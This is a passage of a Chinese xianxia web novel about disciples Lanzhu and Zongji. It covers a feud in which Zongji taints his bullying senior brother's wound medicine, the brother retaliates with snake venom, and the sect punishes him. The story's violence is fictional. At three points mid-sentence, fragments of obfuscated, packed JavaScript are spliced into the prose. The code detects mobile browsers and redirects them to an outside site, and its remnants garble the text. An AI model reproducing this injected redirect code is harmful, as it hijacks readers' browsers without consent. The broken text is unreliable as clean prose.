漫无目的地四处闲逛,不知怎么就走到了宗祭的门前。 兰烛望着面前紧闭的房门:“………” 算了,来都来了。 毕竟……宗祭白日里看起来伤的很重,也不知道有没有伤及五脏六腑,不至于为了一时赌气,连他的性命都不管不顾了。 兰烛正要抬手敲门,却敏锐察觉到了一阵远远而至的脚步声,他下意识藏到了墙后,只偷偷摸摸探出一只眼睛。 回来的人是宗祭。 ——宗祭竟然没在房间里好好休息养伤,半夜三更不知道去了何处,又趁着夜色匆忙赶了回来。 兰烛不免奇怪,心道:这么晚了……他一个人去做什么了? 看宗祭步伐迅捷,不像是……白日里受了重伤的样子。 难道真的是他多虑了? “总之,没事就好了。” 兰烛放下心,折身回去睡觉。 次日一早,赴青阳光着半边膀子坐在椅子上,伸出手臂,拆开纱布换药。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207781|181314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那剑伤斜切一道,几乎切过他的整条小臂,长,但并不深。 “果然,兔子急了还会咬人。” “宗祭昨天是吃了熊心豹子胆了,” “看我以后怎么收拾他。” 淮婴在一旁帮他上药,将能够愈合止痛的天灵花粉末洒在他的伤口上,“幸好那小子没什么修为,只是受了些皮肉伤,否则,你这条胳膊以后怕是不能拿剑了。” 赴青阳只觉得伤口微微有些发热,以为是药效之故,还在冷笑,“想重伤我,宗祭也得有那个本事。” 淮婴将布条裹好,紧紧打了个结。 “等等,” 赴青阳的脸色变得愈发不对,看向被包扎好的手臂。 “你刚刚……弄的那是什么东西?” . 同一时间,兰烛同师兄们一起在听风崖练剑,萧飒声起,他单手挽了一个漂亮的剑花。 “不好了,大师兄出事了!”一个弟子急匆匆跑了过来。 “大师兄他受了剑伤。今日一早用过药之后,不知为何,伤势愈发严重。” “伤口迅速恶化,皮肤都腐烂了!” “什么!?”众人皆是色变。 兰烛跟其他师兄们一起前去探望赴青阳的时候,房间里已经响彻杀猪一般的惨叫声。 “吵死了,别叫了,叫也没用。”一道冷静的女声传来,“伤口必须尽快处理干净,否则会继续恶化下去,整条胳膊都保不住了!” 然后又是一阵撕心裂肺的鬼哭狼嚎。 …… 许久,一位穿着紫衣的女医修从房内走出来。 一大清早就被魔音贯耳,还沾了一身血腥气,此时脸色看起来有些不太好。 兰烛问道:“柳姐姐,师兄的伤势如何?” 那医修摘了手套道,“腐坏的地方都已经剔除了,并未伤及筋骨,只是,难免要受些皮肉之苦了。” 其他弟子道:“可会影响师兄后续修行练剑?” “若恢复的好,便无大碍。” “大师兄的伤势为何突然恶化,昨夜不是还没事吗?” “对啊,怎么会这样?” “听淮婴师兄说,早上用完药之后就变成这样了。” “那药呢?” “……已经用完了。” 兰烛在一旁听着,心中疑窦丛生。 为何上药之后,伤势反而更加严重了…… 莫非是药有什么问题。 想到这里,兰烛想起昨天半夜宗祭步履匆匆,不知从何处赶回。 难道…… 兰烛不免有些迟疑。 如此揣测无凭无据,可这时间未免也太过巧合了些。 兰烛喃喃道:“宗祭此时应该在房中,不如直接去问一问他。” “宗祭。” 兰烛推门而入。 宗祭百无聊赖坐在桌前,单手支着下巴,另一只手里把玩着用白纸叠出的一只蝴蝶。 看到兰烛进来,把纸蝴蝶捏在手心,变成了一团废纸。 他神色冷淡道:“你来做什么。” 兰烛向来不喜欢绕那些虚虚实实的弯子,直截了当地问:“你知道师兄今日伤势突然恶化的事吗?” 听到这个问题,宗祭眉梢微微挑了挑,似笑非笑的语调,“知道啊。” 没想到他竟然就这样承认了,兰烛难以置信:“所以……真的是你在师兄的药里动了什么手脚。” 看到兰烛这样的反应,宗祭不知从哪儿生出一股诡异的痛快——好似终于可以将他心中丛生的扭曲恶意,肆无忌惮地摊开来给旁人看。 尤其这个人还是兰烛。 宗祭故意拖长了语调,“是啊。” 语气愉悦而恶劣:“我只是在他的伤药里,加了一点点腐血草的粉末而已。” “你不是告诉我,若是被人欺凌,也要让对方觉得疼吗?” “不知道这样,师兄觉得够不够疼?” 兰烛:“但是……” 宗祭讥讽一笑,起身走到兰烛面前,直勾勾盯着他,眼中笑意尽褪,语气渗出丝丝寒意:“怎么,你觉得我这样做不够光明磊落,我不应该暗自在他的伤药之中做手脚。” “还是你觉得,我的行事手段太过恶毒,配不上你们这些「名门正派」的气节?” 7. 第七章 兰烛跟他对视片刻,而后微微低下头去,避开了宗祭有些尖锐阴沉的目光。 “……听医师说,师兄的伤并未伤及筋脉,只是会受一些皮肉之苦,十天半个月便可恢复了。” 宗祭不置可否地一声冷笑。 兰烛道:“宗祭,我的确无法认同你的所作所为。” “只是,以我的立场,无法说对或错,我也并不想对此进行评价。” “我不愿看到同室操戈,也不想师门之间相互倾轧、陷害,” 兰烛轻声道,“可我也没有资格要求一个被伤害的人,对施暴者无怨无恨、不加反抗。” “我对你知之甚少,未曾经受过你所经历的那些痛楚与苦难,所以也无法来轻易评判你的是非。” “受到欺辱故而心生怨恨,以眼还眼、以牙还牙,都是人之常情。” “今日之事,我无法赞成,但也不加批判。” 宗祭没有想到兰烛竟会对他说这些话,显然微微愣住了,眼神有瞬间的怔然。 在他的预想里,兰烛会认为他是使用这种下三滥手段的卑鄙小人,将他痛斥一番,而后大失所望地愤然离去。 可他却说,心有怨恨是人之常情。 兰烛…… 宗祭用一种奇怪的、剖析似的目光盯着兰烛,好似机械师拆解某种新奇造物零件时探究的眼神。 而兰烛的目光始终非常平静。 宗祭不错眼珠盯着他看了一会儿,半晌索然无味坐回了椅子上,恹恹道:“得到答案了,满意了吗?” “这件事,慈济师叔已经知晓了。” “只是如今你与师兄皆有伤在身,暂且不会进行处置。” “若是来日调查此事,你便将大师兄从前所有的所作所为尽数告知慈济师叔便是。” 兰烛道,“届时,是非公道,自有定论。” “告诉他们又有何用,本就是无凭无据的‘过去’,有谁会相信吗?”宗祭瞥了他一眼,嗤笑一声,“还是你以为,那些冷眼旁观的弟子们会不惜得罪赴青阳,站出来为我作证?” 兰烛闻言沉默了片刻。 宗祭与赴青阳从前的那些恩怨,他的确是不知情的。 他在宗祭对面坐下,认真问:“你跟大师兄,究竟是怎么结下了梁子?” “他为何要处处与你为难。” 宗祭皱起眉,隐约有些不耐烦的神色,似乎根本不想回忆从前那些不堪一提的旧事。 但还是解释了几句。 “很久以前的事了。” “我被掌门带回宗门不久,他邀我一同与其他弟子练剑、修行。” “我不愿去,便拒绝了。” “几次三番之后,他便心生不满,质问我对他是不是对他心有怨怼,所以才如此冷眼相待。” “我懒得解释,也根本无话可说。他便以为我是故意与他过不去、拂他的面子,开始处处针对于我。” 宗祭这个性子……兰烛大概能设想出当时的不愉快,赴青阳大概是几次主动示好都被拒绝,有些恼羞成怒,觉得宗祭是个“养不熟的白眼狼”,开始孤立排挤他,此后二人之间的嫌隙便开始滚雪球似的越来越深。 赴青阳本就出身江湖名门,又是苍梧派大师兄,在宗门颇有声望,最后被欺凌的那个人自然只能是宗祭。 不过…… 兰烛不禁疑惑:“那你究竟为什么不愿同大家一起修行呢?都是同门师兄弟……” 宗祭反问道:“不想去就是不想去,还需要什么理由吗?” “………” 兰烛回想这几日发生的种种,宗祭不仅仅对其他师兄,对他的接近也异常排斥,似乎不想跟任何人有过多牵连,应了那一句“离群索居”。 可人大都是群居动物,会下意识地向周身社群靠拢,甚至融入其中,以此来获得慰藉与安全感。 小孩子尤甚。 宗祭……为什么会这样呢? 那时候的宗祭,应该也只有十一二岁的年纪。 兰烛想起父亲曾对他说过的那些话,小心猜测:“是跟你小时候的经历……有什么关系吗?” 宗祭的神色明显一僵。 “不方便说的话,可以不告诉我,”兰烛很快补充道,“我并非有意窥探你的过去。” 宗祭很快恢复如常,只是嘲讽道:“你想的未免太多了。” 宗祭不愿提,兰烛也不想触及那些隐秘而灰暗的过往,他想了想,又提醒说:“你与师兄的关系已是势如水火,大师兄一定会猜到那个毒是你下的,即便没有证据,他也会疑心于你。” “这一次,恐怕……真的不会与你善罢甘休了。” 宗祭嗤笑一声:“他还能如何,杀了我吗?” 若非赴青阳横插一脚,他的修为可能早就已经突破了。 再过些时日,「换尸子」便可突破第三层。 以赴青阳那半吊子的功夫,不会再伤到他分毫。 届时,有仇报仇、有怨报怨。 兰烛:“你的伤怎么样了?昨日看起来伤的很重。” 宗祭已经恢复的差不多了,只是眼下不能被兰烛看出破绽,便淡淡道:“死不了。” 兰烛闻言起身,“你等等,我去药房找些治疗内淤的伤药,再为你传些内力护体,不会有事的。” 宗祭目送他出门,而后神色骤然一冷,手中凝出一丝黑气。 传功…… 宗祭垂下眼。 兰烛的武功出神入化,不能被他察觉到任何异样。 宗祭微微吐出一口气。 「换尸子」,乃是两年前他自苍梧山武学宝库中无意间得到的一本禁书。 擅自在暗中修行禁术,若是被宗门之人发现,或许会被直接处死。 宗祭思索片刻,抬手点了周身几处穴位,封印丹田气海,如此,便是内息极为虚弱的脉象。 没过多久,兰烛从外面回来了,手里拿了两个小瓷瓶。 “小师弟,你先把药吃了,我看一看你的伤。” 宗祭就着水喝下几颗药丸,挽起袖子,将手腕搭在桌子上。 宗祭手腕细瘦,薄薄的白皙皮肤之下浅青色的血管脉络极为清晰,一看就是少年人的手。 兰烛摸了摸他明显凸出来的腕骨,指尖搭在他手腕的内关穴上,汇出一道温和的内力。 二人的气息甫一交汇,宗祭只觉一股醇厚如水般的内力潺潺流淌过他的五脏六腑。 兰烛的武功不知究竟到了什么程度,以宗祭如今的修为,完全探查不出这股内力的深浅。 或许待突破「换尸子」的第三层,方可一试。 兰烛不断为他渡气,引导内息在宗祭的体内运行过四个小周天,结束时,二人的周身都微微散发出了某种氤氲的气流。 兰烛的内力强大而纯净,若是其他宗门弟子,此时必然觉得浑身筋脉畅通、神清气爽。 可惜宗祭修练的功法跟兰烛背道而驰,这东西对他来说完全无用。 兰烛问道:“好些了吗?” 宗祭的目光冷淡,又有些复杂。 他问道:“兰烛,你明知我恶名昭彰,宗门的弟子都对我避之不及。” “同我走的这么近,就不怕被其他人误解,你是在跟我沆瀣一气、同流合污?” 兰烛收回手腕,眨了眨眼,“我之所行,只求无愧于心,并不在意旁人如何看我。” 宗祭挑了挑眉,似乎觉得这句话很有意思,目光一转,看到了那自被他拿回来就一直放在角落里的几个油纸包。 分明被他骂哭过了、还要跑过来关心他,的确是,行止由心。 “小师兄,我还没给你道歉呢,” 宗祭饶有趣味地把玩着手上的药瓶子,神情似笑非笑,“你这便原谅我了?” “……谁说的,”兰烛被他一提醒,又想起这件事,还是有点生气,抿抿嘴巴,“我走了。” 说罢他起身便走。 一只脚迈出正门,兰烛偷偷往回看了一眼。 宗祭垂着眼皮,漫不经心摆弄着那药瓶,没有挽留他、也没有跟他道歉的打算。 兰烛轻轻叹了一口气。 宗祭……大概是真的很不喜欢他吧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207782|181314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 既然已无大碍,他也不必多留了。 宗祭将药瓶放到桌子上,垂眼摩挲着手腕,神情若有所思。 . 入夜。 “哐当”一声巨响。 宗祭猛然睁开双眼,从床上坐了起来。 ——有人来了,而且还不止一个。 他抬眼看向门外,刚穿好衣服翻身下床,卧室的门便“轰”的一声被人从外面一脚踹开,赴青阳吊着一边的胳膊气势汹汹闯了进来,后面还跟了几个忠心的狗腿子。 “你疯了吗,”宗祭骂道,“半夜三更……” 这句话还没说完,赴青阳便一拳打到了他的脸上,宗祭的嘴唇开裂,渗出一缕血丝。 体内属于兰烛的内力尚未消散,宗祭还没解开他自身的穴道,如今跟完全没有武功的寻常人无异。 赴青阳满脸暴怒:“你这小畜生这几天胆子倒是大了,敢用剑伤我,还敢给我下毒?!你不想活了?!老子弄死你” “说是我给你下毒,”宗祭冷冷反问,“你有什么证据。” “证据?”赴青阳狠狠一脚踹在他的膝窝,旁边的弟子眼疾手快按住宗祭的肩头用力往下一压,宗祭身体骤然失衡,膝盖扑通一声跪到了冰冷坚硬的地上。 赴青阳从袖口摸出一把刀,用雪亮的刀背拍了拍他的脸,“若那药里是你动的手脚,那你就自食其果。” “若不是你下的毒,那就是与我有难同当……” 他的声音陡然狠戾,“也跟我一块尝尝这皮肉溃烂的滋味!” 宗祭的瞳孔轻微一缩。 “放开!——” 宗祭用力挣扎,肩上的手按的更紧了。 赴青阳强行扯过他的一只手,刀刃滋啦一声割开袖口,露出一条苍白削瘦的手腕。 宗祭抬眼,恶狠狠地盯着他。 “这一刀,是你应该还我的。” 刀刃在宗祭一瞬不瞬的漆黑瞳孔中划过他的皮肉。 鲜红血珠争先恐后从刀口处冒了出来,滚落到了地上。 宗祭咬牙,一声不吭。 赴青阳:“你给我用的是什么东西?” “那婆娘说,要是不把那些烂肉都清理了,我的这条胳膊就保不住了,所以把我身上的肉一刀一刀、一块一块生生割了下来,你知道那有多疼吗?嗯?” 他抓住宗祭的头发,强行抬起他的头,从牙缝里挤出来的声音,“宗祭,你可真狠啊,用这种东西来对付我?” 宗祭索性不装了,冷冷看着他,神情漠然,“何不说是你自作自受。” “自作自受?这个词用的不错,我也让你尝尝什么是‘自作自受’的滋味!” 说着,赴青阳从怀里拿出一管墨绿色的汁液,不知道是什么,但想必肯定不是什么好东西—— “虽然不知道你给我下的是什么毒,不过这从青叶蛇里提炼出来的毒素,腐蚀皮肉肌理,有异曲同工之妙……” 赴青阳将那一管毒液慢慢靠近宗祭的手臂。 他直勾勾盯着宗祭的那双眼,想从其中看出恐惧或者求饶的情绪——但很可惜,什么都没有。 宗祭还是用那种他极其厌恶的、看死物一样的眼神波澜不惊地望着他。 赴青阳眼神一暗,将手中的蛇毒一口气全部倒了下去。 房间内除了痛苦的喘息,几乎能够听到某种“滋滋”的响声。 . 空气中充斥着强烈的血腥味,混合着一股毒液的腐臭味,难闻刺鼻至极。 宗祭独自跪在一摊血迹当中,月色投落在地上一道恍惚憧憧的影子。 许久,宗祭竟然低低地笑了起来。 喉咙里发出几声怪异的咯咯声响。 宗祭的脸色苍白至极,夜色之下竟然冒出了一股不似活人的鬼气。 声音也有如鬼魅:“你看……只是一点点微不足道的疼痛,是没有办法让他觉得害怕的。” “哈哈……哈哈哈……” 宗祭笑的浑身都在剧烈颤抖。 许久,方止住了笑意。 他慢慢捡起落在地上的刀。 8. 第八章 “轰隆”——! 兰烛从睡梦中惊醒过来。 他揉着眼睛坐起来,有点茫然地转头看向窗外,发现外面天穹闪过一道雪亮白光,竟是在打雷,不多时,暴雨倾盆而下。 苍梧山乃是世间灵气庇佑之地,地理位置特殊,四周又有绵延山脉环绕,长年都很少下雨,更别提是这样罕见的雷雨。 兰烛被吵醒,一时半会也睡不着了,索性披着一件外衣站在门口看雨。 瓢泼大雨噼里啪啦从屋檐飞落下来,拉成了一张细密又宽大的雨幕。 不知为何,兰烛总觉得内息有些不畅。 他微微皱眉,抬手按了按心口的位置。 兰烛撑伞走入雨中,站在献仙音的门外。 雨势太大,沿着山间沟渠汇成了一道急促的溪流,满山落下的梧桐叶被雨打风吹,自上而下、飘零自流。 “印象里,小时候苍梧山好像从来没下过雨。” 兰烛伸出手指,冰凉的雨珠从他的指尖划过下去,只在皮肤上留下丝丝的寒意。 他蜷了蜷手指。 “总感觉这场雨来的有些怪异。” 兰烛站在小亭阁下听了会儿急骤的夜雨,本想回房继续睡觉,转身走了没几步,隐约间听到了几声“吱嘎吱嘎”的轻响,不知是从何处传来的。 兰烛“咦”了一声,单手提起衣摆,寻着那细微的声响找了过去。 ——那响动是宗祭的庭院传出来的。 这阴湿的大暴雨天,宗祭的院门竟然开着,被狂风骤雨打的不断开合,发出一阵阵潮湿又枯朽的响声。 兰烛垫着脚踏水走过去,本来想替他把房门关上。 结果无意往院中一瞥,隔着一道朦胧窗帷,看到宗祭的房中似乎影影绰绰跪了一个人,伏在地上一道不甚清晰的影子。 这时一道雷光落下,整个夜空霎时间大亮,“轰隆”一声,那“人影”也跟着明灭了一瞬。 那场面简直惊悚极了,兰烛以为自己看错了,要么就是闹鬼了。 “………”兰烛不由吞咽了一口唾沫。 他打小就有点怕这种鬼神邪说之类的东西。 兰烛的心脏快速又剧烈的跳动起来,握着伞的手指透出一点紧张的白色,他鼓起勇气,一点一点慢慢挪进了宗祭的院子。 兰烛小声开口询问:“宗、宗祭……你睡了吗?” 他的声音被暴烈的雨声完全覆盖过去。 又往前挪蹭了几步,鼻腔中忽然飘进了一股血腥味,兰烛神色一变,顾不得什么害怕,踩着水哒哒哒跑了过去。 兰烛刚一推开门,一滩暗红色的血迹登时混合着外面的雨水流到了他的脚底。 宗祭跪在房中,正拿着把刀自伤手臂,一刀挑下去,连皮带肉、一同割下。 喉咙里压出一声隐忍又痛苦的低吟。 “……”兰烛简直无比震惊,“发生什么事了?你这是在做什么?!” 屋外夜色昏沉,房间里光线黯淡,兰烛只能看个模糊大概,赶忙点燃了一支蜡烛。 被烛光一照,整个屋子更是恐怖的好似凶案现场。 满屋子的血迹自宗祭身下蔓延开,宗祭的脸色不似人的苍白,黑白分明的眼珠森森瞥了兰烛一眼,无动于衷低下头,又生生剜下一块皮肉。 兰烛吓得简直要神魂出窍了,第一反应以为宗祭是要打算挥刀自尽,“你、你别想不开啊!先住手!有什么话我们都可以好好说的!” 他冲过去“啪”一声握住宗祭拿刀的手腕,低头看向他的伤口,才发现宗祭的手臂皮肤有些异常。 伤口处的皮肉已经被灼烧成了一种诡异的艳红色。 ……又来多管闲事了。 宗祭的声音因为剧痛而显得有些虚弱,“放手,这是青叶蛇的蛇毒。” 一滴冷汗自他的下巴滴落,“待毒素深入皮肤,只会溃烂的更加厉害。” 青叶蛇毒? 兰烛怔愣了一瞬,极快反应过来,接过他手中的刀,“……我来吧。” 幸好伤口范围不是很大,兰烛以内力止住他的伤势流血,下手又快又准,几刀便将腐坏的皮肤都剔除下来。 宗祭咬牙一声不吭,嘴唇紧抿,手臂因为过激的疼痛不自觉轻微的抽搐。 兰烛抬眼问:“你这里有伤药吗?还有绷带,伤口需要尽快包扎起来。” 宗祭微微抬头,喘了口气,用下巴指了指对面的柜子。 兰烛起身到柜子里面翻出金疮药和一卷白布,小心将伤口处理完善,才一屁股坐到了地上,额头都冒出了细汗。 缓了口气,他问:“……到底发生了什么事?” 宗祭嘶声一笑,懒得解释:“自作自受罢了,没什么。” 兰烛:“是大师兄做的?” 宗祭没吭声,默认了。 兰烛问:“还伤到哪里了吗?” “没有。” “大师兄他……” 兰烛微微握拳,“待天明,我便去将这件事告诉父亲。” “不必。” “这件事若是继续调查下去,我给他下毒之事也会被牵连出来。” 宗祭冷嘲,“届时他受罚,我也要跟他一同受罚。” 兰烛神情一顿,随后叹了口气。 宗祭与赴青阳之间,已经是势同水火,无可转圜了。 再如此下去,还不知道大师兄能做出什么伤天害理的事来。 “时间不早了,你有伤在身,先早些休息吧。” 兰烛将宗祭扶到了床榻上,“伤药里有镇痛的成分,趁着伤口还没开始疼,快点睡着就不会感觉到痛了。” “……”宗祭带着点病态的倚在床头,乌黑长发垂落,他瞥了眼被包扎成木乃伊的手臂,又撇了眼兰烛,“这大半夜你怎么会突然来找我。” “我是被雷声吵醒的,本来想出来看雨,见到你房门开着,便过来看了一眼,”兰烛解释道,“没想到……” 没想到险些看到一起惨烈的凶案现场。 宗祭翻身躺下,声音轻哑:“雨停了便走吧。” 兰烛“嗯”一声,看了眼房中满地的蜿蜒血迹,挽起袖口。 . 次日一早。 宗祭慢慢睁开眼,一只手撑在从床上坐起,眼中晃过一道人影,随后微微怔了下。 兰烛……竟然没有离开。 就这么百无禁忌地坐在地上,歪着头趴在他的床边,睡着了。 昨日房中留下的遍地狼藉也已经被清理的干干净净。 宗祭一时没有动作,无声盯着兰烛,神色似乎有些复杂。 兰烛微微张着嘴巴,脸颊被压扁了半边,似乎感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207783|181314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了某种注视,嗓子里冒出一点含含糊糊的声音,脑袋歪向了另一边。 宗祭收回视线,从床尾绕过他,翻身下床,静步走出房间。 不多时,兰烛也悠悠醒转。 那样趴着睡了几个时辰,这会儿腰酸背痛,脖子僵硬的都不像自己的。 兰烛按着一边脖颈倒吸冷气,半身不遂地起身,左看右看,“……宗祭又去哪里了。” 昨天忙活了一个晚上,兰烛的肚子准时饿了,咕咕叫了两声……也不知道宗祭这里有没有能够充饥的东西。 兰烛用眼神搜寻一圈,不期然看到了房间角落里堆放的几个油纸包。 兰烛不由一怔。 ……是他前些时日送给宗祭的那些小零食,还是好端端的放在那,根本没有打开过。 要不是他包的严实,昨天说不定就进水了。 兰烛将油纸包从犄角疙瘩捡起来,心疼地拍了拍上面沾染的水尘。 “好歹没扔掉。” 他打开其中一包零食,坐回桌前,张口咬了一块肉脯。 宗祭推门而入,有些意外:“你怎么还没走。” “一回来就要赶我走,你有一点良心好不好,”兰烛杵着下巴,“我昨天好歹照顾你一夜呢,到现在一口饭都没吃上,肚子要饿死了。” 宗祭不置可否。 “我要去后山打坐了,你随意。” 兰烛极小声嘟囔:“又要去打坐,自己闭门造车能造出什么名堂,小吊车尾,还不如跟我说几句好听的,让师兄教几招厉害的功夫。” 宗祭没听清他叽里咕噜说什么,眼尾一挑,斜斜望过去一眼,兰烛立刻不吱声了。 宗祭:“………” 兰烛又打开一包果脯,回想起宗祭对他要么横眉冷对、要么面无表情的样子,不禁叹息道:“小师弟,你真的很不喜欢我吗?” “……你是第一个对我说我很讨厌的人。” “但是我不知道我究竟是哪里让你觉得讨厌了,你要不要跟我聊一聊呀。” 宗祭闻言,转过头打量他。 兰烛的长相很显小,五官清丽秀气,眼珠干净剔透的像阳光照耀下的琉璃,笑起来的时候脸颊旁会凹陷下去两个窝。 眼神像某种幼年的小动物,是一种很纯良无害的注视。 此时眼巴巴地望着他,带着些纯然的疑惑,还有无辜。 宗祭收回视线:“我不喜欢任何人。” 顿了顿,他又道:“不过,这些时日,谢谢你。” 兰烛鼓鼓的腮帮子一顿。 他呆呆眨巴了两下眼睛,不可思议道:“你竟然会对我说谢谢!” 谢谢——诶! 兰烛心境豁然开朗:“我原谅你啦。” 宗祭:“………” 他有点不好的预感,“不。你还是不要原谅我了。” 兰烛拍拍胸脯:“你放心,以后你的人身安全就包在师兄我身上啦,我绝对、不会再让他们伤害你了。” 宗祭嘴唇动了两下:“不用你多管……” 兰烛:“我走了!” 说完他风卷残云似的“呼啦”飞走了,桌子上打开的果脯还剩下一大半。 “……” 宗祭垂眼看着那包果脯,半晌,伸手拿起一个,尝了尝。 甜的。 9. 第九章 兰烛心不在焉地走在苍梧山的山路上。 那天餐堂发生之事,慈济师叔已经知情,赴青阳主动挑起同门之间争斗,按照门规对他必然是有惩处的。 但不巧那日宗祭也动了手,甚至是动了利器,若是只追究当日发生之事,最多就是各打五十大板,以儆效尤。 若不能一次打压下赴青阳的气焰,来日他对宗祭的报复只会愈发变本加厉。 按照宗祭的说法,赴青阳对他的欺辱早已不是第一次,甚至长达一年的时间。 可毕竟口说无凭,那些身体上的伤痕都已经恢复愈合,仅仅是宗祭的一面之词,恐怕难以服众。 兰烛刚回到山门没多久,对他们之前发生的事也不甚了解,亦无法为他作证。 不过,赴青阳行事如此肆无忌惮,师门中必定旁观者众多,或许,会有其他弟子愿意站出来为宗祭作证。 休沐时间,兰烛上门逐个问询。 “这件事的确是大师兄做的有些过分了,他对宗祭拳打脚踢的时候,我也曾经见过几次,但是你要我帮你出面作证……我得考虑考虑。” “小师弟,不是我不帮你,但我可得罪不起大师兄。” “要是被大师兄知道我在慈济师叔跟前指控他,以后不得被穿小鞋穿到死啊。” “你是掌门之子,又是空法大师的徒弟,自然是不惧怕什么,可除了你,还有谁敢跟大师兄作对?” “宗祭是什么下场你都看到了,小师弟不要强人所难了。” “诶?小兰烛……?!” “这件事啊……你再找别人问问吧。” ……… 一个午间过去,兰烛四处碰壁、无功而返,有些失望地叹了口气,在一颗梧桐树下蹲了下来。 冷眼旁观、明哲保身、不置一词…… 兰烛无法指责他们什么。 又不能强迫师兄们在慈济师叔面前承认从前发生的那些事。 若是按兰烛自己的性子,遇到这种以多欺少倚强凌弱之事,将赴青阳装麻袋里痛殴一顿便是了,以其人之道、还治其人之身。 可如今是在苍梧山,一行一动都要讲求规矩,兰烛也不能任性胡来。 兰烛杵着下巴,盯着往树洞里搬运糙米的一团小蚂蚁。 ……怎么办呢。 忽然,一道身影来到在他面前,在兰烛的眼前落下一道影子。 “小兰烛。” “我可以帮宗祭作证。” 兰烛闻声蓦然抬头。 面前是一位穿着苍梧派白蓝色校服的师兄,正带着些歉意与微笑望着他。 兰烛与这位师兄并不相熟,只是隐约记得他的名字,似乎叫承秀。 兰烛起身,眼中闪烁一点光亮:“真的吗?” 承秀师兄颔首,轻言道:“我想,每一位同门昔日在加入苍梧派之时,执的都是一颗来日入江湖行侠仗义之心。” “若是师父知道,苍梧山中发生如此不公之事,却无人敢仗义执言,想必也会对我们失望的。” “不仅仅是我,我相信,还有许多同门,都会愿意为宗祭师弟证明。” 兰烛“哇呜”一声,心中阴霾一扫而空,扑过去熊抱住眼前的人,开心道:“谢谢承秀师兄!” “太好啦!!” . 三日后。 兰烛站在卧房门外,抬手敲了敲门:“宗祭,你睡了吗?” 宗祭在床上翻了个身,没吱声,假装已经睡着了。 兰烛听到里面窸窸窣窣的动静,轻手轻脚推开门,“我进来啦?” 宗祭侧躺在床榻上,面朝墙壁、双目紧闭。 兰烛在床边坐下,一根手指戳戳他的肩膀:“不要装睡啦,我刚刚都在外面听到你翻身了,这伎俩在师兄面前是没有用的。” 宗祭:“………” 他睁开眼,眼珠微微向上转了转。 兰烛轻声道,“慈济师叔今日在明德堂处置大师兄了。” 宗祭闻言转过头,微微蹙了下眉,神色莫测。 “大师兄屡次欺辱同门,违反门派规定,由慈济师叔亲掌百道戒尺,在思过阁罚跪禁闭半月,再抄写宗门戒律一千遍,在此之前,不许参加宗门内任何活动。” “而且,代掌门还说,日后若再敢犯一次,便直接毫不客气逐出师门。” 兰烛看起来很高兴:“赴青阳以后都不敢再欺负你啦。” “除非,他不想做苍梧派的大师兄了,否则,就老老实实夹着尾巴好好跟同门师兄弟相处。” 宗祭倒是有些意外,从床上坐了起来,挑了下眉。 百道戒尺下去……这手不废也残了,没有个一年半载不可能恢复。 宗祭以为代掌门根本不会在意这种事,即便要处置,最多不过是抄几遍门规罢了。 竟然还会为了他“大动干戈”。 不过,这也只是苍梧派对赴青阳的处置。 他要跟赴青阳算的帐,自然,远不止如此。 宗祭眸中划过一丝不易察觉的危险暗色。 他故作诧异:“如此严重?” 兰烛点头:“嗯,不是每个人都像大师兄那样坏的,我跟你说过了,是非对错,自有标尺。” 顿了顿,兰烛又小声犹豫着开口:“不过因为当日你也出剑伤了大师兄,所以……” 宗祭似笑非笑接上他的话音:“所以我也要去罚跪?” 兰烛看着宗祭的脸色,小心翼翼地点点头,“只有三个时辰!” “无论如何,与同门兵刃相向都是不可辩驳的事实。” “但因为大师兄屡次欺凌在先,事出有因,所以对你只是小惩大诫,只需要自省三个时辰便好。” “再抄写二十遍门规就可以啦,到时候我帮你一起抄。” 兰烛说话的时候摇头晃脑,两条腿垂落在床边晃来晃去,显然心情很好。 宗祭面无表情:“什么时候。” 兰烛道:“慈济师叔知道你受了伤,特许待你伤势恢复一些再去。” 宗祭一时沉默无言。 不想也知道,对赴青阳如此严厉的处置,必然有兰烛的影响在其中。 毕竟,他只是一个可有可无的、任人欺凌的小小宗门弟子。 宗祭轻声道:“你为什么……” 兰烛“嗯”一声扭头看他:“什么?” 宗祭移开视线:“没什么。” 兰烛眨巴了一下眼睛,反应过来什么,笑,“想跟我道谢呀,不用客气。” 宗祭木然:“我没有这个意思。” 兰烛伸出手指头戳戳他的胳膊,“想道谢就直说嘛,你这个性格别别扭扭的,一点都不可爱。” 宗祭翻身躺下、闭门谢客:“好走不送。” “……你!” 兰烛鼓了鼓脸颊,生气地把被子扯过了他的头顶。隔着被子把宗祭的头发揉的乱七八糟。 “啪!” “啪!” 思过阁中,响起戒尺狠狠敲打皮肉的声音。 满百下方停止。 赴青阳跪在坚硬石台上,左手手心被抽成了骇人的黑紫色,疼的满身都是冷汗,眼神里尽是愤然与怨毒。 “怎么着,还不服气?今日众多弟子所言之事,桩桩件件、哪一件冤枉你了?” 